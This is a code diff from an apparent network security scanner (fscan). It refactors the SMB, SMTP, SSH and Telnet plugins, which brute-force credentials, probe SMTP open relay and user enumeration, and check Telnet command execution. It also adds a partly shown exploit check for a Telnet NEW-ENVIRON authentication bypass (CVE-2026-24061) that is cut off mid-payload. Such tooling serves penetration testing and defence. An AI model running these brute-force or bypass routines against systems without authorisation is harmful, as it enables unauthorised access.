func (a *SMB1Authenticator) Authenticate(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration) (*AuthResult, error) {
func (a *SMB1Authenticator) Authenticate(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration, session *common.ScanSession) (*AuthResult, error) {
options := smb.Options{
Host: host,
Port: port,
@@ -467,19 +472,19 @@ func (a *SMB1Authenticator) Authenticate(ctx context.Context, host string, port
}
// ListShares 列举SMB共享(SMB1使用SMB2库列举)
func (a *SMB1Authenticator) ListShares(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration) ([]string, error) {
return listSMBSharesInternal(host, port, cred, domain, timeout)
func (a *SMB1Authenticator) ListShares(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration, session *common.ScanSession) ([]string, error) {
return listSMBSharesInternal(ctx, host, port, cred, domain, timeout, session)
}
// SMB2Authenticator SMB2认证器
type SMB2Authenticator struct{}
// Authenticate 执行SMB2认证
func (a *SMB2Authenticator) Authenticate(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration) (*AuthResult, error) {
func (a *SMB2Authenticator) Authenticate(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration, session *common.ScanSession) (*AuthResult, error) {
timeoutCtx, cancel := context.WithTimeout(ctx, timeout)
defer cancel()
conn, err := common.WrapperTcpWithTimeout("tcp", fmt.Sprintf("%s:%d", host, port), timeout)
conn, err := session.DialTCP(ctx, "tcp", fmt.Sprintf("%s:%d", host, port), timeout)
if err != nil {
return &AuthResult{
Success: false,
@@ -518,15 +523,15 @@ func (a *SMB2Authenticator) Authenticate(ctx context.Context, host string, port
}
// ListShares 列举SMB2共享
func (a *SMB2Authenticator) ListShares(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration) ([]string, error) {
return listSMBSharesInternal(host, port, cred, domain, timeout)
func (a *SMB2Authenticator) ListShares(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration, session *common.ScanSession) ([]string, error) {
return listSMBSharesInternal(ctx, host, port, cred, domain, timeout, session)
}
// listSMBSharesInternal 内部共享列举实现
func listSMBSharesInternal(host string, port int, cred Credential, domain string, timeout time.Duration) ([]string, error) {
func listSMBSharesInternal(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration, session *common.ScanSession) ([]string, error) {
target := net.JoinHostPort(host, strconv.Itoa(port))
conn, err := net.DialTimeout("tcp", target, timeout*2)
conn, err := session.DialTCP(ctx, "tcp", target, timeout*2)
if err != nil {
return nil, err
}
+32 -48
View File
@@ -25,15 +25,16 @@ func NewSMTPPlugin() *SMTPPlugin {
}
}
func (p *SMTPPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
func (p *SMTPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
config := session.Config
target := info.Target()
if config.DisableBrute {
return p.identifyService(ctx, info, config, state)
return p.identifyService(ctx, info, session)
}
// 检测未授权访问
if result := p.testUnauthorizedAccess(ctx, info, config, state); result != nil && result.Success {
if result := p.testUnauthorizedAccess(ctx, info, session); result != nil && result.Success {
common.LogSuccess(i18n.Tr("smtp_service", target, result.Banner))
return result
}
@@ -55,8 +56,8 @@ func (p *SMTPPlugin) Scan(ctx context.Context, info *common.HostInfo, config *co
}
// 使用公共框架进行并发凭据测试
authFn := p.createAuthFunc(info, config, state)
testConfig := DefaultConcurrentTestConfig(config)
authFn := p.createAuthFunc(info, session)
testConfig := DefaultConcurrentTestConfigWithTarget(config, info)
result := TestCredentialsConcurrently(ctx, creds, authFn, "smtp", testConfig)
@@ -68,23 +69,22 @@ func (p *SMTPPlugin) Scan(ctx context.Context, info *common.HostInfo, config *co
}
// createAuthFunc 创建SMTP认证函数
func (p *SMTPPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc {
func (p *SMTPPlugin) createAuthFunc(info *common.HostInfo, session *common.ScanSession) AuthFunc {
return func(ctx context.Context, cred Credential) *AuthResult {
return p.doSMTPAuth(ctx, info, cred, config, state)
return p.doSMTPAuth(ctx, info, cred, session)
}
}
// doSMTPAuth 执行SMTP认证
func (p *SMTPPlugin) doSMTPAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
func (p *SMTPPlugin) doSMTPAuth(ctx context.Context, info *common.HostInfo, cred Credential, session *common.ScanSession) *AuthResult {
target := info.Target()
timeout := config.Timeout
timeout := session.Config.Timeout
resultChan := make(chan *AuthResult, 1)
go func() {
conn, err := common.WrapperTcpWithTimeout("tcp", target, timeout)
conn, err := session.DialTCP(ctx, "tcp", target, timeout)
if err != nil {
state.IncrementTCPFailedPacketCount()
resultChan <- &AuthResult{
Success: false,
ErrorType: classifySMTPErrorType(err),
@@ -98,7 +98,6 @@ func (p *SMTPPlugin) doSMTPAuth(ctx context.Context, info *common.HostInfo, cred
client, err := smtp.NewClient(conn, info.Host)
if err != nil {
_ = conn.Close()
state.IncrementTCPFailedPacketCount()
resultChan <- &AuthResult{
Success: false,
ErrorType: classifySMTPErrorType(err),
@@ -111,7 +110,6 @@ func (p *SMTPPlugin) doSMTPAuth(ctx context.Context, info *common.HostInfo, cred
auth := smtp.PlainAuth("", cred.Username, cred.Password, info.Host)
if err := client.Auth(auth); err != nil {
_ = client.Close()
state.IncrementTCPFailedPacketCount()
resultChan <- &AuthResult{
Success: false,
ErrorType: classifySMTPErrorType(err),
@@ -123,7 +121,6 @@ func (p *SMTPPlugin) doSMTPAuth(ctx context.Context, info *common.HostInfo, cred
if err := client.Mail("[email protected]"); err != nil {
_ = client.Close()
state.IncrementTCPFailedPacketCount()
resultChan <- &AuthResult{
Success: false,
ErrorType: classifySMTPErrorType(err),
@@ -132,7 +129,6 @@ func (p *SMTPPlugin) doSMTPAuth(ctx context.Context, info *common.HostInfo, cred
return
}
state.IncrementTCPSuccessPacketCount()
resultChan <- &AuthResult{
Success: true,
Conn: &smtpClientWrapper{client},
@@ -209,24 +205,24 @@ func classifySMTPErrorType(err error) ErrorType {
}
// testUnauthorizedAccess 测试SMTP未授权访问
func (p *SMTPPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
func (p *SMTPPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
// 测试匿名访问
if result := p.testAnonymousAccess(ctx, info, config, state); result != nil {
if result := p.testAnonymousAccess(ctx, info, session); result != nil {
return result
}
// 测试开放中继
if result := p.testOpenRelay(ctx, info, config, state); result != nil {
if result := p.testOpenRelay(ctx, info, session); result != nil {
return result
}
// 测试VRFY命令
if result := p.testVRFYCommand(ctx, info, config, state); result != nil {
if result := p.testVRFYCommand(ctx, info, session); result != nil {
return result
}
// 测试EXPN命令
if result := p.testEXPNCommand(ctx, info, config, state); result != nil {
if result := p.testEXPNCommand(ctx, info, session); result != nil {
return result
}
@@ -234,15 +230,14 @@ func (p *SMTPPlugin) testUnauthorizedAccess(ctx context.Context, info *common.Ho
}
// testAnonymousAccess 测试匿名邮件发送
func (p *SMTPPlugin) testAnonymousAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
func (p *SMTPPlugin) testAnonymousAccess(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
target := info.Target()
resultChan := make(chan *ScanResult, 1)
go func() {
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout)
if err != nil {
state.IncrementTCPFailedPacketCount()
resultChan <- nil
return
}
@@ -270,7 +265,6 @@ func (p *SMTPPlugin) testAnonymousAccess(ctx context.Context, info *common.HostI
return
}
state.IncrementTCPSuccessPacketCount()
resultChan <- &ScanResult{
Success: true,
Type: plugins.ResultTypeVuln,
@@ -288,15 +282,14 @@ func (p *SMTPPlugin) testAnonymousAccess(ctx context.Context, info *common.HostI
}
// testOpenRelay 测试开放中继
func (p *SMTPPlugin) testOpenRelay(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
func (p *SMTPPlugin) testOpenRelay(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
target := info.Target()
resultChan := make(chan *ScanResult, 1)
go func() {
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout)
if err != nil {
state.IncrementTCPFailedPacketCount()
resultChan <- nil
return
}
@@ -324,7 +317,6 @@ func (p *SMTPPlugin) testOpenRelay(ctx context.Context, info *common.HostInfo, c
return
}
state.IncrementTCPSuccessPacketCount()
resultChan <- &ScanResult{
Success: true,
Type: plugins.ResultTypeVuln,
@@ -342,21 +334,20 @@ func (p *SMTPPlugin) testOpenRelay(ctx context.Context, info *common.HostInfo, c
}
// testVRFYCommand 测试VRFY命令用户枚举
func (p *SMTPPlugin) testVRFYCommand(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
func (p *SMTPPlugin) testVRFYCommand(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
target := info.Target()
resultChan := make(chan *ScanResult, 1)
go func() {
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout)
if err != nil {
state.IncrementTCPFailedPacketCount()
resultChan <- nil
return
}
defer func() { _ = conn.Close() }()
_ = conn.SetDeadline(time.Now().Add(config.Timeout))
_ = conn.SetDeadline(time.Now().Add(session.Config.Timeout))
if _, heloWriteErr := fmt.Fprintf(conn, "HELO fscan.test\r\n"); heloWriteErr != nil {
resultChan <- nil
@@ -391,7 +382,6 @@ func (p *SMTPPlugin) testVRFYCommand(ctx context.Context, info *common.HostInfo,
vrfyResponse := strings.TrimSpace(string(buffer[:n]))
if strings.HasPrefix(vrfyResponse, "250") {
state.IncrementTCPSuccessPacketCount()
resultChan <- &ScanResult{
Success: true,
Type: plugins.ResultTypeVuln,
@@ -414,21 +404,20 @@ func (p *SMTPPlugin) testVRFYCommand(ctx context.Context, info *common.HostInfo,
}
// testEXPNCommand 测试EXPN命令邮件列表枚举
func (p *SMTPPlugin) testEXPNCommand(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
func (p *SMTPPlugin) testEXPNCommand(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
target := info.Target()
resultChan := make(chan *ScanResult, 1)
go func() {
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout)
if err != nil {
state.IncrementTCPFailedPacketCount()
resultChan <- nil
return
}
defer func() { _ = conn.Close() }()
_ = conn.SetDeadline(time.Now().Add(config.Timeout))
_ = conn.SetDeadline(time.Now().Add(session.Config.Timeout))
if _, heloWriteErr := fmt.Fprintf(conn, "HELO fscan.test\r\n"); heloWriteErr != nil {
resultChan <- nil
@@ -463,7 +452,6 @@ func (p *SMTPPlugin) testEXPNCommand(ctx context.Context, info *common.HostInfo,
expnResponse := strings.TrimSpace(string(buffer[:n]))
if strings.HasPrefix(expnResponse, "250") {
state.IncrementTCPSuccessPacketCount()
resultChan <- &ScanResult{
Success: true,
Type: plugins.ResultTypeVuln,
@@ -486,21 +474,20 @@ func (p *SMTPPlugin) testEXPNCommand(ctx context.Context, info *common.HostInfo,
}
// getServerInfo 获取SMTP服务器信息
func (p *SMTPPlugin) getServerInfo(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) string {
func (p *SMTPPlugin) getServerInfo(ctx context.Context, info *common.HostInfo, session *common.ScanSession) string {
target := info.Target()
resultChan := make(chan string, 1)
go func() {
conn, err := common.SafeTCPDial(target, config.Timeout)
conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout)
if err != nil {
state.IncrementTCPFailedPacketCount()
resultChan <- ""
return
}
defer func() { _ = conn.Close() }()
_ = conn.SetReadDeadline(time.Now().Add(config.Timeout))
_ = conn.SetReadDeadline(time.Now().Add(session.Config.Timeout))
buffer := make([]byte, 1024)
n, err := conn.Read(buffer)
if err != nil {
@@ -508,7 +495,6 @@ func (p *SMTPPlugin) getServerInfo(ctx context.Context, info *common.HostInfo, c
return
}
state.IncrementTCPSuccessPacketCount()
welcome := strings.TrimSpace(string(buffer[:n]))
if strings.HasPrefix(welcome, "220") {
@@ -529,18 +515,17 @@ func (p *SMTPPlugin) getServerInfo(ctx context.Context, info *common.HostInfo, c
}
// identifyService SMTP服务识别
func (p *SMTPPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
func (p *SMTPPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
target := info.Target()
serverInfo := p.getServerInfo(ctx, info, config, state)
serverInfo := p.getServerInfo(ctx, info, session)
var banner string
if serverInfo != "" {
banner = fmt.Sprintf("SMTP邮件服务 (%s)", serverInfo)
} else {
conn, err := common.SafeTCPDial(target, config.Timeout)
conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout)
if err != nil {
state.IncrementTCPFailedPacketCount()
return &ScanResult{
Success: false,
Service: "smtp",
@@ -548,7 +533,6 @@ func (p *SMTPPlugin) identifyService(ctx context.Context, info *common.HostInfo,
}
}
defer func() { _ = conn.Close() }()
state.IncrementTCPSuccessPacketCount()
banner = "SMTP邮件服务"
}
+17 -20
View File
@@ -34,12 +34,13 @@ func NewSSHPlugin() *SSHPlugin {
}
// Scan 执行SSH扫描
func (p *SSHPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
func (p *SSHPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
config := session.Config
target := info.Target()
// 如果指定了SSH密钥,优先使用密钥认证
if config.Credentials.SSHKeyPath != "" {
if result := p.scanWithKey(ctx, info, config, state); result != nil && result.Success {
if result := p.scanWithKey(ctx, info, session); result != nil && result.Success {
common.LogVuln(i18n.Tr("ssh_key_auth_success", target, result.Username)) //nolint:govet
return result
}
@@ -47,7 +48,7 @@ func (p *SSHPlugin) Scan(ctx context.Context, info *common.HostInfo, config *com
// 如果禁用暴力破解,只做服务识别
if config.DisableBrute {
return p.identifyService(info, config, state)
return p.identifyService(ctx, info, session)
}
// 生成测试凭据
@@ -63,8 +64,8 @@ func (p *SSHPlugin) Scan(ctx context.Context, info *common.HostInfo, config *com
}
// 使用公共框架进行并发凭据测试
authFn := p.createAuthFunc(info, config, state)
testConfig := DefaultConcurrentTestConfig(config)
authFn := p.createAuthFunc(info, session)
testConfig := DefaultConcurrentTestConfigWithTarget(config, info)
result := TestCredentialsConcurrently(ctx, credentials, authFn, "ssh", testConfig)
@@ -77,14 +78,15 @@ func (p *SSHPlugin) Scan(ctx context.Context, info *common.HostInfo, config *com
}
// createAuthFunc 创建SSH认证函数
func (p *SSHPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc {
func (p *SSHPlugin) createAuthFunc(info *common.HostInfo, session *common.ScanSession) AuthFunc {
return func(ctx context.Context, cred Credential) *AuthResult {
return p.doSSHAuth(ctx, info, cred, config, state)
return p.doSSHAuth(ctx, info, cred, session)
}
}
// doSSHAuth 执行SSH认证
func (p *SSHPlugin) doSSHAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
func (p *SSHPlugin) doSSHAuth(ctx context.Context, info *common.HostInfo, cred Credential, session *common.ScanSession) *AuthResult {
config := session.Config
target := info.Target()
// 创建SSH配置
@@ -111,9 +113,8 @@ func (p *SSHPlugin) doSSHAuth(ctx context.Context, info *common.HostInfo, cred C
}
// 建立TCP连接
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
conn, err := session.DialTCP(ctx, "tcp", target, config.Timeout)
if err != nil {
state.IncrementTCPFailedPacketCount()
return &AuthResult{
Success: false,
ErrorType: classifySSHErrorType(err),
@@ -125,7 +126,6 @@ func (p *SSHPlugin) doSSHAuth(ctx context.Context, info *common.HostInfo, cred C
sshConn, chans, reqs, err := ssh.NewClientConn(conn, target, sshConfig)
if err != nil {
_ = conn.Close()
state.IncrementTCPFailedPacketCount()
return &AuthResult{
Success: false,
ErrorType: classifySSHErrorType(err),
@@ -136,7 +136,6 @@ func (p *SSHPlugin) doSSHAuth(ctx context.Context, info *common.HostInfo, cred C
// 创建SSH客户端
client := ssh.NewClient(sshConn, chans, reqs)
state.IncrementTCPSuccessPacketCount()
return &AuthResult{
Success: true,
Conn: &sshClientWrapper{client},
@@ -179,7 +178,8 @@ func classifySSHErrorType(err error) ErrorType {
}
// scanWithKey 使用SSH私钥扫描
func (p *SSHPlugin) scanWithKey(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
func (p *SSHPlugin) scanWithKey(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
config := session.Config
keyData, err := os.ReadFile(config.Credentials.SSHKeyPath)
if err != nil {
common.LogError(i18n.Tr("ssh_key_read_failed", err)) //nolint:govet
@@ -204,7 +204,7 @@ func (p *SSHPlugin) scanWithKey(ctx context.Context, info *common.HostInfo, conf
KeyData: keyData,
}
result := p.doSSHAuth(ctx, info, cred, config, state)
result := p.doSSHAuth(ctx, info, cred, session)
if result.Success {
if result.Conn != nil {
_ = result.Conn.Close()
@@ -222,12 +222,11 @@ func (p *SSHPlugin) scanWithKey(ctx context.Context, info *common.HostInfo, conf
}
// identifyService 服务识别
func (p *SSHPlugin) identifyService(info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
func (p *SSHPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
target := info.Target()
conn, err := common.SafeTCPDial(target, config.Timeout)
conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout)
if err != nil {
state.IncrementTCPFailedPacketCount()
return &ScanResult{
Success: false,
Service: "ssh",
@@ -236,8 +235,7 @@ func (p *SSHPlugin) identifyService(info *common.HostInfo, config *common.Config
}
defer func() { _ = conn.Close() }()
if banner := p.readSSHBanner(conn, config); banner != "" {
state.IncrementTCPSuccessPacketCount()
if banner := p.readSSHBanner(conn, session.Config); banner != "" {
common.LogSuccess(i18n.Tr("ssh_service_identified", target, banner)) //nolint:govet
return &ScanResult{
Type: plugins.ResultTypeService,
@@ -247,7 +245,6 @@ func (p *SSHPlugin) identifyService(info *common.HostInfo, config *common.Config
}
}
state.IncrementTCPFailedPacketCount()
return &ScanResult{
Success: false,
Service: "ssh",
+307 -38
View File
@@ -4,9 +4,11 @@ package services
import (
"context"
"crypto/rand"
"fmt"
"net"
"strings"
"sync"
"time"
"github.com/shadow1ng/fscan/common"
@@ -16,14 +18,26 @@ import (
// Telnet协议时间常量
const (
telnetReadDelay = 200 * time.Millisecond // 读取间隔延迟
telnetRetryDelay = 500 * time.Millisecond // 重试延迟
telnetAuthDelay = 1000 * time.Millisecond // 认证后等待延迟
telnetReadTimeout = 2 * time.Second // 读取超时
telnetBannerTimeout = 3 * time.Second // Banner读取超时
telnetRCECmdTimeout = 5 * time.Second // RCE命令执行超时
telnetRCEExtraTimeout = 10 * time.Second // RCE验证额外超时
telnetMaxAttempts = 10 // 最大尝试次数
telnetReadDelay = 200 * time.Millisecond // 读取间隔延迟
telnetRetryDelay = 500 * time.Millisecond // 重试延迟
telnetAuthDelay = 1000 * time.Millisecond // 认证后等待延迟
telnetReadTimeout = 2 * time.Second // 读取超时
telnetBannerTimeout = 3 * time.Second // Banner读取超时
telnetRCECmdTimeout = 5 * time.Second // RCE命令执行超时
telnetRCEExtraTimeout = 10 * time.Second // RCE验证额外超时
telnetMaxAttempts = 10 // 最大尝试次数
)
// CVE-2026-24061 Telnet NEW-ENVIRON 选项常量
const (
telnetIAC = 0xFF // Telnet Interpret As Command
telnetSB = 0xFA // Subnegotiation Begin
telnetSE = 0xF0 // Subnegotiation End
telnetNEWENVIRON = 39 // NEW-ENVIRON option
telnetDO = 0xFD // DO
telnetDONT = 0xFE // DONT
telnetWILL = 0xFB // WILL
telnetWONT = 0xFC // WONT
)
// TelnetPlugin Telnet扫描插件
@@ -37,18 +51,19 @@ func NewTelnetPlugin() *TelnetPlugin {
}
}
func (p *TelnetPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
func (p *TelnetPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
config := session.Config
target := info.Target()
if config.DisableBrute {
return p.identifyService(ctx, info, config, state)
return p.identifyService(ctx, info, session)
}
// 检测未授权访问
if result := p.testUnauthAccess(ctx, info, config, state); result != nil && result.Success {
if result := p.testUnauthAccess(ctx, info, session); result != nil && result.Success {
common.LogVuln(i18n.Tr("telnet_service", target, result.Banner))
// 验证命令执行能力
if ok, osType, evidence := p.verifyCommandExecution(ctx, info, "", "", config, state); ok {
if ok, osType, evidence := p.verifyCommandExecution(ctx, info, "", "", session); ok {
common.LogVuln(i18n.Tr("telnet_unauth_rce", target, osType, evidence))
}
return result
@@ -70,16 +85,21 @@ func (p *TelnetPlugin) Scan(ctx context.Context, info *common.HostInfo, config *
creds[i] = Credential{Username: c.Username, Password: c.Password}
}
// CVE-2026-24061: 并发检测 Telnetd Authentication Bypass 漏洞
if cveResult := p.checkCVE202624061Concurrent(ctx, info, session, config); cveResult != nil {
return cveResult
}
// 使用公共框架进行并发凭据测试
authFn := p.createAuthFunc(info, config, state)
testConfig := DefaultConcurrentTestConfig(config)
authFn := p.createAuthFunc(info, session)
testConfig := DefaultConcurrentTestConfigWithTarget(config, info)
result := TestCredentialsConcurrently(ctx, creds, authFn, "telnet", testConfig)
if result.Success {
common.LogVuln(i18n.Tr("telnet_credential", target, result.Username, result.Password))
// 验证命令执行能力
if ok, osType, evidence := p.verifyCommandExecution(ctx, info, result.Username, result.Password, config, state); ok {
if ok, osType, evidence := p.verifyCommandExecution(ctx, info, result.Username, result.Password, session); ok {
common.LogVuln(i18n.Tr("telnet_credential_rce", target, result.Username, result.Password, osType, evidence))
}
}
@@ -88,22 +108,21 @@ func (p *TelnetPlugin) Scan(ctx context.Context, info *common.HostInfo, config *
}
// createAuthFunc 创建Telnet认证函数
func (p *TelnetPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc {
func (p *TelnetPlugin) createAuthFunc(info *common.HostInfo, session *common.ScanSession) AuthFunc {
return func(ctx context.Context, cred Credential) *AuthResult {
return p.doTelnetAuth(ctx, info, cred, config, state)
return p.doTelnetAuth(ctx, info, cred, session)
}
}
// doTelnetAuth 执行Telnet认证
func (p *TelnetPlugin) doTelnetAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
func (p *TelnetPlugin) doTelnetAuth(ctx context.Context, info *common.HostInfo, cred Credential, session *common.ScanSession) *AuthResult {
target := info.Target()
resultChan := make(chan *AuthResult, 1)
go func() {
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout)
if err != nil {
state.IncrementTCPFailedPacketCount()
resultChan <- &AuthResult{
Success: false,
ErrorType: classifyTelnetErrorType(err),
@@ -112,10 +131,9 @@ func (p *TelnetPlugin) doTelnetAuth(ctx context.Context, info *common.HostInfo,
return
}
_ = conn.SetDeadline(time.Now().Add(config.Timeout))
_ = conn.SetDeadline(time.Now().Add(session.Config.Timeout))
if p.performTelnetAuth(conn, cred.Username, cred.Password) {
state.IncrementTCPSuccessPacketCount()
resultChan <- &AuthResult{
Success: true,
Conn: &telnetConnWrapper{conn},
@@ -124,7 +142,6 @@ func (p *TelnetPlugin) doTelnetAuth(ctx context.Context, info *common.HostInfo,
}
} else {
_ = conn.Close()
state.IncrementTCPFailedPacketCount()
resultChan <- &AuthResult{
Success: false,
ErrorType: ErrorTypeAuth,
@@ -192,21 +209,20 @@ func classifyTelnetErrorType(err error) ErrorType {
}
// testUnauthAccess 测试Telnet未授权访问
func (p *TelnetPlugin) testUnauthAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
func (p *TelnetPlugin) testUnauthAccess(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
target := info.Target()
resultChan := make(chan *ScanResult, 1)
go func() {
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout)
if err != nil {
state.IncrementTCPFailedPacketCount()
resultChan <- nil
return
}
defer func() { _ = conn.Close() }()
_ = conn.SetDeadline(time.Now().Add(config.Timeout))
_ = conn.SetDeadline(time.Now().Add(session.Config.Timeout))
buffer := make([]byte, 1024)
attempts := 0
@@ -229,7 +245,6 @@ func (p *TelnetPlugin) testUnauthAccess(ctx context.Context, info *common.HostIn
p.handleIACNegotiation(conn, buffer[:n])
if p.isShellPrompt(cleaned) {
state.IncrementTCPSuccessPacketCount()
resultChan <- &ScanResult{
Success: true,
Type: plugins.ResultTypeVuln,
@@ -489,15 +504,14 @@ func (p *TelnetPlugin) isLoginFailed(data string) bool {
}
// identifyService Telnet服务识别
func (p *TelnetPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
func (p *TelnetPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
target := info.Target()
resultChan := make(chan *ScanResult, 1)
go func() {
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout)
if err != nil {
state.IncrementTCPFailedPacketCount()
resultChan <- &ScanResult{
Success: false,
Service: "telnet",
@@ -507,12 +521,11 @@ func (p *TelnetPlugin) identifyService(ctx context.Context, info *common.HostInf
}
defer func() { _ = conn.Close() }()
_ = conn.SetDeadline(time.Now().Add(config.Timeout))
_ = conn.SetDeadline(time.Now().Add(session.Config.Timeout))
buffer := make([]byte, 2048)
n, err := conn.Read(buffer)
if err != nil {
state.IncrementTCPFailedPacketCount()
resultChan <- &ScanResult{
Success: false,
Service: "telnet",
@@ -521,8 +534,6 @@ func (p *TelnetPlugin) identifyService(ctx context.Context, info *common.HostInf
return
}
state.IncrementTCPSuccessPacketCount()
p.handleIACNegotiation(conn, buffer[:n])
cleaned := p.cleanResponse(string(buffer[:n]))
cleanedLower := strings.ToLower(cleaned)
@@ -574,7 +585,7 @@ func (p *TelnetPlugin) identifyService(ctx context.Context, info *common.HostInf
}
// verifyCommandExecution 验证Telnet命令执行能力(RCE检测)
func (p *TelnetPlugin) verifyCommandExecution(ctx context.Context, info *common.HostInfo, username, password string, config *common.Config, state *common.State) (bool, string, string) {
func (p *TelnetPlugin) verifyCommandExecution(ctx context.Context, info *common.HostInfo, username, password string, session *common.ScanSession) (bool, string, string) {
target := info.Target()
type rceResult struct {
@@ -586,14 +597,14 @@ func (p *TelnetPlugin) verifyCommandExecution(ctx context.Context, info *common.
resultChan := make(chan rceResult, 1)
go func() {
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout)
if err != nil {
resultChan <- rceResult{}
return
}
defer func() { _ = conn.Close() }()
_ = conn.SetDeadline(time.Now().Add(config.Timeout + telnetRCEExtraTimeout))
_ = conn.SetDeadline(time.Now().Add(session.Config.Timeout + telnetRCEExtraTimeout))
// 需要认证时先登录
if username != "" || password != "" {
@@ -747,6 +758,264 @@ func (p *TelnetPlugin) drainBuffer(conn net.Conn) {
}
}
// checkCVE202624061Concurrent 并发检测多个用户,首个命中即返回
func (p *TelnetPlugin) checkCVE202624061Concurrent(ctx context.Context, info *common.HostInfo, session *common.ScanSession, config *common.Config) *ScanResult {
cveUsers := config.Credentials.Userdict["telnet"]
if len(cveUsers) == 0 {
cveUsers = []string{"root", "admin", "administrator"}
}
type cveHit struct {
user string
evidence string
}
ctx, cancel := context.WithCancel(ctx)
defer cancel()
ch := make(chan cveHit, 1)
var wg sync.WaitGroup
for _, user := range cveUsers {
wg.Add(1)
go func(u string) {
defer wg.Done()
if vuln, cveUser, evidence := p.checkCVE202624061(ctx, info, session, u); vuln {
select {
case ch <- cveHit{user: cveUser, evidence: evidence}:
cancel() // 通知其他 goroutine 停止
default:
}
}
}(user)
}
// 等待全部完成后关闭 channel
go func() {
wg.Wait()
close(ch)
}()
if hit, ok := <-ch; ok {
target := info.Target()
common.LogVuln(i18n.Tr("telnet_cve202624061", target, hit.user, hit.evidence))
return &ScanResult{
Success: true,
Type: plugins.ResultTypeVuln,
Service: "telnet",
Banner: fmt.Sprintf("CVE-2026-24061 Telnetd Authentication Bypass (user: %s)", hit.user),
}
}
return nil
}
// checkCVE202624061 检测 CVE-2026-24061 Telnetd Authentication Bypass 漏洞
// 利用 NEW-ENVIRON (option 39) 子协商注入恶意环境变量,实现认证绕过
// 返回 (是否漏洞, 触发用户名, 证据)
func (p *TelnetPlugin) checkCVE202624061(ctx context.Context, info *common.HostInfo, session *common.ScanSession, user string) (bool, string, string) {
conn, err := session.DialTCP(ctx, "tcp", info.Target(), session.Config.Timeout)
if err != nil {
return false, "", ""
}
defer conn.Close()
chk := &cveChecker{
conn: conn,
user: user,
buf: make([]byte, 4096),
}
return chk.run()
}
// cveChecker CVE-2026-24061 检测器 (基于验证过的 POC 逻辑)
type cveChecker struct {
conn net.Conn
user string
exploitSent bool
buf []byte
}
// sendPayload 发送 NEW-ENVIRON 恶意环境变量 payload
func (e *cveChecker) sendPayload() {
payload := []byte{telnetIAC, telnetSB, telnetNEWENVIRON, 0, 0}
payload = append(payload, []byte("USER")...)
